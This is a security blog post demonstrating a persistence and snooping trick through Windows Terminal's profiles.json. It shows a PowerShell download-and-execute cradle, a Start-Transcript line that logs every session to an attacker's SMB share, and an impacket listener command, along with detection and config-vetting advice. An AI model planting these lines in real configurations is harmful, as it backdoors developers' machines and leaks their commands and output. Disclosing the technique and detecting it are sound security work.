Recently I started using the Preview version of Windows Terminal. It’s finally a shell on Windows thats nice to work with and I hope this will be default for future versions of Windows. It has tabs, support for different shells and customization options.  

While playing with the profiles.json file to change some settings I noticed the “commandline” option. The purpose of that option is to specify what needs to be started. I figured it might be possible to use that to launch additional things. So I decided to change the cmd.exe option and see if I would be able to pass commands.

"commandline": "cmd.exe /k calc.exe && cls",

And it worked: If a user selects the modified tab, it executes the command (calc.exe), clears the screen and carries on.

Backdoor the terminal

On Linux/MacOS you could backdoor the bash_profile, bashrc (T1156) or terminal theme. This could be the Windows variant. It might be a cool way to have persistence on the system of a developer. Or snoop in on any PowerShell session they have.

The customization feature is great: there are even people creating new themes and sharing it on sites like TerminalSplash. The themes on the website only add specific colours and include instructions how to add them. Other add key bindings (newTab/splitPane) and profiles themselves. Those could be abused to add shortcuts of terminals that start a backdoor on execution.

If you choose to copy an profiles.json from GitHub or something like that make sure you understand all the parts, it could be a nice way to hunt for devs! A fun trick would be to start a PowerShell script at the launch of every new PowerShell tab:

"commandline": "powershell.exe -NoExit -c \"iex(New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:9000/a.ps1')\""

The above start-up command downloads and executes a PowerShell script, for my testcase from localhost. The script it downloads can be anything but since we want to snoop we instruct the PowerShell window to log all executed commands and output of the commands to an SMB share of our choosing:

Start-Transcript -OutputDirectory \\192.168.2.14/LOGS/ -Append

cls

Once the terminal starts it shows up like a regular window, nothing wrong. But any command you execute is being logged. On the attacker machine we used “smbserver.py” from impacket to create an ad-hoc smb server where we store the logs.

Quick ad-hoc smb server by using the impacket example “./smbserver.py LOGS logs/”

Transcript written to the smb share.

Conclusion

To be clear: this is not a bug in Windows terminal, it’s a feature and a very useful one. Seeing the command line option just inspired me to find a different way to have persistence. Normally we would try and inject a shell or something like that. The blog is just here to show you a fun way to gain persistence that won’t be too obvious to anyone inspecting the system. You can compare it to changing the shortcut settings for PowerShell. While looking at this I came across this blog post that describes how to set the shell command for all PowerShell instances across Windows in the registry. Which would be even more nasty.

If anything be sure to not download entire profiles.json files but instead copy only the parts you need. Most sites distributing Windows Terminal themes only distribute the color part so it should be easy to keep to that.

Detection

Detecting this could be done by looking for the WindowsTerminal.exe parent with powershell.exe and a downloadcradle in the commandline.

Which is way too specific, would be better to just look for download and execute cradles. The sigma project contains great queries that detect various ones: “https://github.com/Neo23x0/sigma/blob/82cae6d63c9c2f6d3e86c57e11497d86279b9f95/rules/windows/powershell/powershell_suspicious_invocation_specific.yml”. It surprised me Defender ATP doesn’t trigger on download and execute cradles. Even though my final payload didn’t launch a backdoor or mimikatz it should at least be considered suspicious behavior.

Well that was a fun poc to build and play with 🙂 We even learned a thing, two actually:

  1. you shouldn’t download executable configs from the internet without understanding them first.
  2. don’t expect your security tooling to pick up on things you  think are malicious.